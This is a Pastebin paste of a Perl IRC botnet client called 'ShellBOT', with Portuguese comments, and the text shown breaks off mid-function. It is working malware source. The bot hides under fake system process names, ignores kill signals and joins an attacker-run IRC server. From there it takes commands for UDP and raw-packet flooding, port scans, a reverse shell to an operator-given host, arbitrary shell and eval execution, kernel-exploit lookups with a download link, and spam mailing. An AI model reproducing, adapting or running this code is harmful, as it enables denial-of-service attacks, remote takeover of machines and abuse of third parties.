Advertisement
Guest User

Untitled

a guest
Jan 29th, 2012
382
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 32.59 KB | None | 0 0
  1. #!/usr/bin/perl
  2. #
  3. #  ShellBOT by: devil__
  4. #       Greetz: Puna, Kelserific
  5. #
  6. # Comandos:
  7. #           @oldpack <ip> <bytes> <tempo>;
  8. #           @udp <ip> <porta> <tempo>;
  9. #           @fullportscan <ip> <porta inicial> <porta final>;
  10. #           @conback <ip> <porta>
  11. #           @download <url> <arquivo a ser salvo>;
  12. #           !estatisticas <on/off>;
  13. #           !sair para finalizar o bot;
  14. #           !novonick para trocar o nick do bot por um novo aleatorio;
  15. #           !entra <canal> <tempo>
  16. #           !sai <canal> <tempo>;
  17. #           !pacotes <on/off>
  18. #           @info
  19. #       @xpl <kernel>
  20. #       @sendmail <assunto> <remetente> <destinatario> <conteudo>
  21.  
  22. ########## CONFIGURACAO ############
  23.  
  24. my @ps = ("/usr/local/apache/bin/httpd -DSSL","/sbin/syslogd","[eth0]","/sbin/klogd -c 1 -x -x","/usr/sbin/acpid","/usr/sbin/cron","[bash]");
  25. my $processo = $ps[rand scalar @ps];
  26.  
  27. $servidor='agentguardian.com' unless $servidor;
  28. my $porta='6667';
  29. my @canais=("#wtf");
  30. my @adms=("a");
  31.  
  32.  
  33. # Anti Flood ( 6/3 Recomendado )
  34. my $linas_max=10;
  35. my $sleep=5;
  36.  
  37. my $nick = getnick();
  38. my $ircname = getident2();
  39. my $realname = "uname -n";
  40. #chop (my $realname = `uname -n`);
  41.  
  42. my $acessoshell = 1;
  43. ######## Stealth ShellBot ##########
  44. my $prefixo = "!all";
  45. my $estatisticas = 0;
  46. my $pacotes = 1;
  47. ####################################
  48.  
  49. my $VERSAO = '0.3b';
  50.  
  51. $SIG{'INT'} = 'IGNORE';
  52. $SIG{'HUP'} = 'IGNORE';
  53. $SIG{'TERM'} = 'IGNORE';
  54. $SIG{'CHLD'} = 'IGNORE';
  55. $SIG{'PS'} = 'IGNORE';
  56.  
  57. use IO::Socket;
  58. use Socket;
  59. use IO::Select;
  60. chdir("/");
  61. $servidor="$ARGV[0]" if $ARGV[0];
  62. $0="$processo"."\0";
  63. my $pid=fork;
  64. exit if $pid;
  65. die "Problema com o fork: $!" unless defined($pid);
  66.  
  67. my %irc_servers;
  68. my %DCC;
  69. my $dcc_sel = new IO::Select->new();
  70.  
  71. #####################
  72. # Stealth Shellbot  #
  73. #####################
  74.  
  75. sub getnick {
  76.   return "vn".int(rand(1000));
  77. }
  78.  
  79. sub getident2 {
  80.         my $length=shift;
  81.         $length = 3 if ($length < 3);
  82.  
  83.         my @chars=('a'..'z','A'..'Z','1'..'9');
  84.         foreach (1..$length)
  85.         {
  86.                 $randomstring.=$chars[rand @chars];
  87.         }
  88.         return $randomstring;
  89. }
  90.  
  91. #############################
  92. #  B0tchZ na veia ehehe :P  #
  93. #############################
  94.  
  95. $sel_cliente = IO::Select->new();
  96. sub sendraw {
  97.   if ($#_ == '1') {
  98.     my $socket = $_[0];
  99.     print $socket "$_[1]\n";
  100.   } else {
  101.       print $IRC_cur_socket "$_[0]\n";
  102.   }
  103. }
  104.  
  105. sub conectar {
  106.    my $meunick = $_[0];
  107.    my $servidor_con = $_[1];
  108.    my $porta_con = $_[2];
  109.  
  110.    my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
  111.    if (defined($IRC_socket)) {
  112.      $IRC_cur_socket = $IRC_socket;
  113.  
  114.      $IRC_socket->autoflush(1);
  115.      $sel_cliente->add($IRC_socket);
  116.  
  117.      $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  118.      $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  119.      $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  120.      $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  121.      nick("$meunick");
  122.      sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  123.      print "\nShellBot $VERSAO by: deviL__\n";
  124.      print "nick: $nick\n";
  125.      print "servidor: $servidor\n\n";
  126.      sleep 2;
  127.    }
  128.  
  129. }
  130. my $line_temp;
  131. while( 1 ) {
  132.    while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  133.    delete($irc_servers{''}) if (defined($irc_servers{''}));
  134.    &DCC::connections;
  135.    my @ready = $sel_cliente->can_read(0.6);
  136.    next unless(@ready);
  137.    foreach $fh (@ready) {
  138.      $IRC_cur_socket = $fh;
  139.      $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  140.      $nread = sysread($fh, $msg, 4096);
  141.      if ($nread == 0) {
  142.         $sel_cliente->remove($fh);
  143.         $fh->close;
  144.         delete($irc_servers{$fh});
  145.      }
  146.      @lines = split (/\n/, $msg);
  147.  
  148.      for(my $c=0; $c<= $#lines; $c++) {
  149.        $line = $lines[$c];
  150.        $line=$line_temp.$line if ($line_temp);
  151.        $line_temp='';
  152.        $line =~ s/\r$//;
  153.        unless ($c == $#lines) {
  154.          parse("$line");
  155.        } else {
  156.            if ($#lines == 0) {
  157.              parse("$line");
  158.            } elsif ($lines[$c] =~ /\r$/) {
  159.                parse("$line");
  160.            } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  161.                parse("$line");
  162.            } else {
  163.                $line_temp = $line;
  164.            }
  165.        }
  166.       }
  167.    }
  168. }
  169.  
  170. sub parse {
  171.    my $servarg = shift;
  172.    if ($servarg =~ /^PING \:(.*)/) {
  173.      sendraw("PONG :$1");
  174.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  175.        my $pn=$1; my $onde = $4; my $args = $5;
  176.        if ($args =~ /^\001VERSION\001$/) {
  177.          notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
  178.        }
  179.        elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
  180.          notice("$pn", "\001PONG\001");
  181.        }
  182.        elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
  183.          if ($onde eq "$meunick"){
  184.            shell("$pn", "$args");
  185.          }
  186.          elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
  187.             my $natrix = $1;
  188.             my $arg = $2;
  189.             if ($arg =~ /^\!(.*)/) {
  190.               ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
  191.             } elsif ($arg =~ /^\@(.*)/) {
  192.                 $ondep = $onde;
  193.                 $ondep = $pn if $onde eq $meunick;
  194.                 bfunc("$ondep","$1");
  195.             } else {
  196.                 shell("$onde", "$arg");
  197.             }
  198.          }
  199.        }
  200.    } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  201.        if (lc($1) eq lc($meunick)) {
  202.          $meunick=$4;
  203.          $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  204.        }
  205.    } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  206.        $meunick = getnick();
  207.        nick("$meunick");
  208.    } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  209.        $meunick = $2;
  210.        $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  211.        $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  212.        foreach my $canal (@canais) {
  213.          sendraw("JOIN $canal");
  214.        }
  215.    }
  216. }
  217.  
  218. sub bfunc {
  219.   my $printl = $_[0];
  220.   my $funcarg = $_[1];
  221.   if (my $pid = fork) {
  222.      waitpid($pid, 0);
  223.   } else {
  224.       if (fork) {
  225.          exit;
  226.        } else {
  227.            if ($funcarg =~ /^portscan (.*)/) {
  228.              my $hostip="$1";
  229.              my @portas=("21","22","23","25","53","59","79","80","110","113","135","139","443","445","1025","5000","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
  230.              my (@aberta, %porta_banner);
  231.              foreach my $porta (@portas)  {
  232.                 my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  233.                 if ($scansock) {
  234.                    push (@aberta, $porta);
  235.                    $scansock->close;
  236.                 }
  237.              }
  238.              if (@aberta) {
  239.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
  240.              } else {
  241.                  sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  242.              }
  243.            }
  244.  
  245.            #elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
  246.            # getstore("$1", "$2");
  247.            # sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu?do!");
  248.            # }
  249.  
  250.            elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
  251.              my $hostname="$1";
  252.              my $portainicial = "$2";
  253.              my $portafinal = "$3";
  254.              my (@abertas, %porta_banner);
  255.              foreach my $porta ($portainicial..$portafinal)
  256.              {
  257.                my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
  258.                if ($scansock) {
  259.                  push (@abertas, $porta);
  260.                  $scansock->close;
  261.                  sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
  262.                }
  263.              }
  264.              if (@abertas) {
  265.                sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
  266.              } else {
  267.                sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
  268.              }
  269.             }
  270.  
  271.             # Duas Vers?es simplificada do meu Tr0x ;D
  272.             elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
  273.               return unless $pacotes;
  274.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  275.               my $alvo=inet_aton("$1");
  276.               my $porta = "$2";
  277.               my $tempo = "$3";
  278.           sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotando\002: $1 \002tempo\002: $tempo");
  279.               my $pacote;
  280.               my $pacotese;
  281.               my $fim = time + $tempo;
  282.               my $pacota = 1;
  283.               while (($pacota == "1")) {
  284.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  285.                 $pacote=$rand x $rand x $rand;
  286.                 $porta = int(rand 65000) +1 if ($porta == "0");
  287.                 send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  288.               }
  289.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  290.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  291.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002pacotado\002: $1 \002tempo\002: $tempo"."segs \002pacotes\002: $pacotese");
  292.             }
  293.  
  294.             elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
  295.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002aviso\002: \@udpfaixa foi removido do bot");
  296.           exit;
  297.               return unless $pacotes;
  298.               socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
  299.               my $faixaip="$1";
  300.               my $porta = "$2";
  301.               my $tempo = "$3";
  302.          sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Pacotando\002: $1 \002tempo\002: $tempo");
  303.               my $pacote;
  304.               my $pacotes;
  305.               my $fim = time + $tempo;
  306.               my $pacota = 1;
  307.               my $alvo;
  308.               while ($pacota == "1") {
  309.                 $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
  310.                 for (my $faixa = 1; $faixa <= 255; $faixa++) {
  311.                   $alvo = inet_aton("$faixaip.$faixa");
  312.                   $pacote=$rand x $rand x $rand;
  313.                   $porta = int(rand 65000) +1 if ($porta == "0");
  314.                   send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++;
  315.                   if ($faixa >= 255) {
  316.                     $faixa = 1;
  317.                   }
  318.                 }
  319.               }
  320.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
  321.                #sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
  322.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002faixa\002: $1"."1-"."$2"."255 \002tempo\002: $tempo"."segs \002pacotes\002: $pacotese");
  323.             }
  324.  
  325.             # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
  326.             elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
  327.               my $host = "$1";
  328.               my $porta = "$2";
  329.               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
  330.               my $proto = getprotobyname('tcp');
  331.               my $iaddr = inet_aton($host);
  332.               my $paddr = sockaddr_in($porta, $iaddr);
  333.               my $shell = "/bin/sh -i";
  334.               if ($^O eq "MSWin32") {
  335.                 $shell = "cmd.exe";
  336.               }
  337.               socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
  338.               connect(SOCKET, $paddr) or die "connect: $!";
  339.               open(STDIN, ">&SOCKET");
  340.               open(STDOUT, ">&SOCKET");
  341.               open(STDERR, ">&SOCKET");
  342.               system("$shell");
  343.               close(STDIN);
  344.               close(STDOUT);
  345.               close(STDERR);
  346.             }
  347.  
  348.            elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
  349.             return unless $pacotes;
  350.              my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
  351.              $dtime = 1 if $dtime == 0;
  352.              my %bytes;
  353.              $bytes{igmp} = $2 * $pacotes{igmp};
  354.              $bytes{icmp} = $2 * $pacotes{icmp};
  355.              $bytes{o} = $2 * $pacotes{o};
  356.              $bytes{udp} = $2 * $pacotes{udp};
  357.              $bytes{tcp} = $2 * $pacotes{tcp};
  358.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status GERAL -\002");
  359.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
  360.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
  361.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
  362.                sendraw($IRC_cur_socket, "PRIVMSG $printl :\002M?dia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
  363.            }
  364.            elsif ($funcarg =~ /^xpl\s+(.*)/) {
  365.            my $kernel = "$1";
  366.            if ($kernel =~ /2.4.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, uselib24"); goto downloads; }
  367.            if ($kernel =~ /2.4.18/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: newlocal, kmod, brk, brk2"); goto downloads; }
  368.            if ($kernel =~ /2.4.19/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, newlocal, w00t, brkm brk2"); goto downloads; }
  369.            if ($kernel =~ /2.4.20/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: kmod, kmod2, newlocal, w00t, ptrace, ptrace-kmod, brk, brk2"); goto downloads; }
  370.            if ($kernel =~ /2.4.21/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl"); goto downloads; }
  371.            if ($kernel =~ /2.4.22/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: brk, brk2, ptrace, ptrace-kmod, uselib24, elflbl, mremap_pte, loginx"); goto downloads; }
  372.            if ($kernel =~ /2.4.23/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; }
  373.            if ($kernel =~ /2.4.24/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl, mremap_pte"); goto downloads; }
  374.            if ($kernel =~ /2.4.25/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  375.            if ($kernel =~ /2.4.26/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  376.            if ($kernel =~ /2.4.27/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  377.            if ($kernel =~ /2.4.28/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: uselib24, elflbl"); goto downloads; }
  378.            if ($kernel =~ /2.6.0/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: wuftpd, h00lyshit"); goto downloads; }
  379.            if ($kernel =~ /2.6.2/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: mremap_pte, krad, h00lyshit"); goto downloads; }
  380.            if ($kernel =~ /2.6.5/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; }
  381.            if ($kernel =~ /2.6.6/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad, krad2, h00lyshit"); goto downloads; }
  382.            if ($kernel =~ /2.6.7/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  383.            if ($kernel =~ /2.6.8/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  384.            if ($kernel =~ /2.6.9/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit, r00t"); goto downloads; }
  385.            if ($kernel =~ /2.6.10/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: krad2, h00lyshit"); goto downloads; }
  386.            if ($kernel =~ /2.6.11/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit, k-rad3"); goto downloads; }
  387.            if ($kernel =~ /2.6.12/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: h00lyshit"); goto downloads; }
  388.            if ($kernel =~ /2.6.13/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  389.            if ($kernel =~ /2.6.14/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  390.            if ($kernel =~ /2.6.15/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  391.            if ($kernel =~ /2.6.16/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  392.            if ($kernel =~ /2.6.17/) { sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: raptor, raptor2, h00lyshit, solpot, prctl"); goto downloads; }
  393.            sendraw($IRC_cur_socket, "PRIVMSG $printl : kernel $kernel rootab with: nothing =)");
  394.            exit;
  395.            downloads:
  396.            sendraw($IRC_cur_socket, "PRIVMSG $printl : downloads: 12http://dvl.by.ru/xpl");
  397.            }
  398.            elsif ($funcarg =~ /^info/) {
  399.            my $sysos = `uname -sr`;
  400.            my $uptime = `uptime`;
  401.            if ( $sysos =~ /freebsd/i ) {
  402.            $sysname = `hostname`;
  403.            $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
  404.            $swap = `$toploc | grep -i swap | cut -f2 -d" " | cut -f1 -d"M"`;
  405.            chomp($memory);
  406.            chomp($swap);
  407.            }
  408.            elsif ( $sysos =~ /linux/i ) {
  409.            $sysname = `hostname -f`;
  410.            $memory = `free -m |grep -i mem | awk '{print \$2}'`;
  411.            $swap = `free -m |grep -i swap | awk '{print \$2}'`;
  412.            chomp($swap);
  413.            chomp($memory);
  414.            }
  415.            else {
  416.            $sysname ="Not Found";;
  417.            $memory ="Not found";
  418.            $swap ="Not Found";
  419.            }
  420.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 SysInfo 3] 15-------------");
  421.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01os/host15;01 $sysos - $sysname ");
  422.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01proc/PID15;01 $processo - $$");
  423.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01uptime15;01 $uptime");
  424.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01memory/swap15;01 $memory - $swap");
  425.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01perl/bot15;01 $] - $VERSAO");
  426.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 15--- 3[01 /SysInfo 3] 15------------");
  427.            }
  428.            elsif($funcarg =~ /^sendmail\s+(.*)\s+(.*)\s+(.*)\s+(.*)/) {
  429.            sendraw($IRC_cur_socket, "PRIVMSG $printl : 01Enviando e-mail para: $3");
  430.            $subject = $1;
  431.            $sender = $2;
  432.            $recipient = $3;
  433.            @corpo = $4;
  434.            $mailtype = "content-type: text/html";
  435.            $sendmail = '/usr/sbin/sendmail';
  436.            open (SENDMAIL, "| $sendmail -t");
  437.            print SENDMAIL "$mailtype\n";
  438.            print SENDMAIL "Subject: $subject\n";
  439.            print SENDMAIL "From: $sender\n";
  440.            print SENDMAIL "To: $recipient\n\n";
  441.            print SENDMAIL "@corpo\n\n";
  442.            close (SENDMAIL);
  443.            sendraw($IRC_cur_socket, "PRIVMSG $printl :01email enviado para: $recipient");
  444.            }
  445.            exit;
  446.     }
  447.   }
  448. }
  449.  
  450. sub ircase {
  451.   my ($kem, $printl, $case) = @_;
  452.  
  453.    if ($case =~ /^join (.*)/) {
  454.      j("$1");
  455.    }
  456.    elsif ($case =~ /^part (.*)/) {
  457.       p("$1");
  458.    }
  459.    elsif ($case =~ /^rejoin\s+(.*)/) {
  460.       my $chan = $1;
  461.       if ($chan =~ /^(\d+) (.*)/) {
  462.         for (my $ca = 1; $ca <= $1; $ca++ ) {
  463.           p("$2");
  464.           j("$2");
  465.         }
  466.       } else {
  467.           p("$chan");
  468.           j("$chan");
  469.       }
  470.    }
  471.    elsif ($case =~ /^op/) {
  472.       op("$printl", "$kem") if $case eq "op";
  473.       my $oarg = substr($case, 3);
  474.       op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  475.    }
  476.    elsif ($case =~ /^deop/) {
  477.       deop("$printl", "$kem") if $case eq "deop";
  478.       my $oarg = substr($case, 5);
  479.       deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  480.    }
  481.    elsif ($case =~ /^voice/) {
  482.       voice("$printl", "$kem") if $case eq "voice";
  483.       $oarg = substr($case, 6);
  484.       voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  485.    }
  486.    elsif ($case =~ /^devoice/) {
  487.       devoice("$printl", "$kem") if $case eq "devoice";
  488.       $oarg = substr($case, 8);
  489.       devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
  490.    }
  491.    elsif ($case =~ /^msg\s+(\S+) (.*)/) {
  492.       msg("$1", "$2");
  493.    }
  494.    elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
  495.       for (my $cf = 1; $cf <= $1; $cf++) {
  496.         msg("$2", "$3");
  497.       }
  498.    }
  499.    elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
  500.       for (my $cf = 1; $cf <= $1; $cf++) {
  501.         ctcp("$2", "$3");
  502.       }
  503.    }
  504.    elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
  505.       ctcp("$1", "$2");
  506.    }
  507.    elsif ($case =~ /^invite\s+(\S+) (.*)/) {
  508.       invite("$1", "$2");
  509.    }
  510.    elsif ($case =~ /^nick (.*)/) {
  511.       nick("$1");
  512.    }
  513.    elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
  514.        conectar("$2", "$1", 6667);
  515.    }
  516.    elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
  517.       DCC::SEND("$1", "$2");
  518.    }
  519.    elsif ($case =~ /^raw (.*)/) {
  520.       sendraw("$1");
  521.    }
  522.    elsif ($case =~ /^eval (.*)/) {
  523.       eval "$1";
  524.    }
  525.    elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
  526.     sleep int(rand($2));
  527.     j("$1");
  528.    }
  529.    elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
  530.     sleep int(rand($2));
  531.     p("$1");
  532.    }
  533.    elsif ($case =~ /^sair/) {
  534.      quit();
  535.    }
  536.    elsif ($case =~ /^novonick/) {
  537.     my $novonick = getnick();
  538.      nick("$novonick");
  539.    }
  540.    elsif ($case =~ /^estatisticas (.*)/) {
  541.      if ($1 eq "on") {
  542.       $estatisticas = 1;
  543.       msg("$printl", "Estat?sticas ativadas!");
  544.      } elsif ($1 eq "off") {
  545.       $estatisticas = 0;
  546.       msg("$printl", "Estat?sticas desativadas!");
  547.      }
  548.    }
  549.    elsif ($case =~ /^pacotes (.*)/) {
  550.      if ($1 eq "on") {
  551.       $pacotes = 1;
  552.       msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
  553.      } elsif ($1 eq "off") {
  554.       $pacotes = 0;
  555.       msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
  556.      }
  557.    }
  558. }
  559. sub shell {
  560.   return unless $acessoshell;
  561.   my $printl=$_[0];
  562.   my $comando=$_[1];
  563.   if ($comando =~ /cd (.*)/) {
  564.     chdir("$1") || msg("$printl", "Diret?rio inexistente!");
  565.     return;
  566.   }
  567.   elsif ($pid = fork) {
  568.      waitpid($pid, 0);
  569.   } else {
  570.       if (fork) {
  571.          exit;
  572.        } else {
  573.            my @resp=`$comando 2>&1 3>&1`;
  574.            my $c=0;
  575.            foreach my $linha (@resp) {
  576.              $c++;
  577.              chop $linha;
  578.              sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
  579.              if ($c >= "$linas_max") {
  580.                $c=0;
  581.                sleep $sleep;
  582.              }
  583.            }
  584.            exit;
  585.        }
  586.   }
  587. }
  588.  
  589. #eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
  590. sub attacker {
  591.   my $iaddr = inet_aton($_[0]);
  592.   my $msg = 'B' x $_[1];
  593.   my $ftime = $_[2];
  594.   my $cp = 0;
  595.   my (%pacotes);
  596.   $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  597.  
  598.   socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  599.   socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  600.   socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  601.   socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  602.   return(undef) if $cp == 4;
  603.   my $itime = time;
  604.   my ($cur_time);
  605.   while ( 1 ) {
  606.      for (my $porta = 1; $porta <= 65535; $porta++) {
  607.        $cur_time = time - $itime;
  608.        last if $cur_time >= $ftime;
  609.        send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
  610.        send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
  611.        send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
  612.        send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);
  613.  
  614.        # DoS ?? :P
  615.        for (my $pc = 3; $pc <= 255;$pc++) {
  616.          next if $pc == 6;
  617.          $cur_time = time - $itime;
  618.          last if $cur_time >= $ftime;
  619.          socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  620.          send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
  621.        }
  622.      }
  623.      last if $cur_time >= $ftime;
  624.   }
  625.   return($cur_time, %pacotes);
  626. }
  627.  
  628. #############
  629. #  ALIASES  #
  630. #############
  631.  
  632. sub action {
  633.    return unless $#_ == 1;
  634.    sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
  635. }
  636.  
  637. sub ctcp {
  638.    return unless $#_ == 1;
  639.    sendraw("PRIVMSG $_[0] :\001$_[1]\001");
  640. }
  641. sub msg {
  642.    return unless $#_ == 1;
  643.    sendraw("PRIVMSG $_[0] :$_[1]");
  644. }
  645.  
  646. sub notice {
  647.    return unless $#_ == 1;
  648.    sendraw("NOTICE $_[0] :$_[1]");
  649. }
  650.  
  651. sub op {
  652.    return unless $#_ == 1;
  653.    sendraw("MODE $_[0] +o $_[1]");
  654. }
  655. sub deop {
  656.    return unless $#_ == 1;
  657.    sendraw("MODE $_[0] -o $_[1]");
  658. }
  659. sub hop {
  660.     return unless $#_ == 1;
  661.    sendraw("MODE $_[0] +h $_[1]");
  662. }
  663. sub dehop {
  664.    return unless $#_ == 1;
